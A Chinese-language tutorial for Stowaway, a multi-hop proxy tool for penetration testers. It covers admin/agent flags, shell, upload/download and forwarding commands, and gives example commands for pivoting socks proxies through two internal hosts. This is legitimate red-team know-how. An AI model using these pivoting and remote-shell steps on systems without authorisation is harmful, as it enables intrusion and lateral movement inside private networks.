Stowaway简介
https://github.com/ph4ntonn/Stowaway
Stowaway是一个利用go语言编写、专为渗透测试工作者制作的多级代理工具
用户可使用此程序将外部流量通过多个节点代理至内网,突破内网访问限制,构造树状节点网络,并轻松实现管理功能
名词解释
- 节点: 指 admin || agent
- 主动模式: 指当前操作的节点主动连接另一个节点
- 被动模式: 指当前操作的节点监听某个端口,等待另一个节点连接
- 上游: 指当前操作的节点与其父节点之间的流量
- 下游: 指当前操作的节点与其所有子节点之间的流量
Stowaway使用说明
Stowaway分为两个角色,分别是:
- admin 渗透测试者使用的主控端
- agent 渗透测试者部署的被控端
admin
admin 用法:
1 2 3 4 5
| >> ./stowaway_admin -l <port> -s [secret] >> ./stowaway_admin -c <ip:port> -s [secret] >> ./stowaway_admin -c <ip:port> -s [secret] --proxy <ip:port> --proxyu [username] --proxyp [password] >> ./stowaway_admin -c <ip:port> -s [secret] --rhostreuse >> ./stowaway_admin -c <ip:port> -s [secret] --proxy <ip:port> --proxyu [username] --proxyp [password] --rhostreuse
|
admin 参数:
1 2 3 4 5 6 7
| -l 被动模式下的监听地址 [ip]:<port> -s 节点通信加密密钥,所有节点(admin&&agent)必须一致 -c 主动模式下的目标节点地址 --proxy socks5代理服务器地址 --proxyu socks5代理服务器用户名(可选) --proxyp socks5代理服务器密码(可选) --down 下游协议类型,默认为裸TCP流量,可选HTTP
|
admin 主 panel 选项:
1 2 3 4 5 6
| (admin) >> help help 显示帮助信息 detail 展示在线节点的详细信息 topo 展示在线节点的父子关系 use <id> 选择你要使用的目标节点 exit 退出 Stowaway
|
admin node panel 选项:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| (node 0) >> help help 显示帮助信息 listen 开始监听当前节点的端口 addmemo <string> 为当前节点添加备忘录 delmemo 删除当前节点的备忘录 ssh <ip:port> 通过当前节点启动SSH shell 在当前节点上启动一个交互式外壳 socks <lport> [username] [pass] 启动一个socks5服务器 stopsocks 关闭socks服务 connect <ip:port> 连接到一个新节点 sshtunnel <ip:sshport> <agent port> 使用sshtunnel将节点添加到我们的拓扑结构中 upload <local filename> <remote filename> 上传文件到当前节点 download <remote filename> <local filename> 从当前节点下载文件 forward <lport> <ip:port> 转发本地端口到特定的远程 ip:port stopforward 关闭转发服务 backward <rport> <lport> 将远程端口(agent)后退到本地端口(admin)。 stopbackward 关闭backward服务 shutdown 终止当前节点 back 返回到父面板 exit 退出Stowaway
|
agent
agent 参数:
1 2 3 4 5 6 7 8 9 10 11
| -l 被动模式下的监听地址[ip]:<port> -s 节点通信加密密钥 -c 主动模式下的目标节点地址 --proxy socks5代理服务器地址 --proxyu socks5代理服务器用户名(可选) --proxyp socks5代理服务器密码(可选) --reconnect 重连时间间隔 --rehost 端口复用时复用的IP地址 --report 端口复用时复用的端口号 --up 上游协议类型,默认为裸TCP流量,可选HTTP --down 下游协议类型,默认为裸TCP流量,可选HTTP
|
建立一层Socks代理
VPS上启动admin监听
1
| ./stowaway_admin -l 9999 -s hack
|
Target1启动agent
1
| ./stowaway_agent -c 192.168.0.132:9999 -s hack
|
开启socks代理
进入Target1的node节点,使用socks命令开启socks代理
测试socks代理
建立二层Socks代理
在node中开启监听
进入node 0节点,执行listen,设置监听端口,开启监听模式
在 Target1 上可以看到 agent 监听了 7070 端口
Target2连接监听端口
在 Target2 中连接 Target1 监听的 7070 端口
1
| ./stowaway_agent -c 192.168.22.11:7070 -s hack
|
开启Socks代理
admin 接收到新的 node 1, 进入 node 1 节点开启 socks 代理
测试代理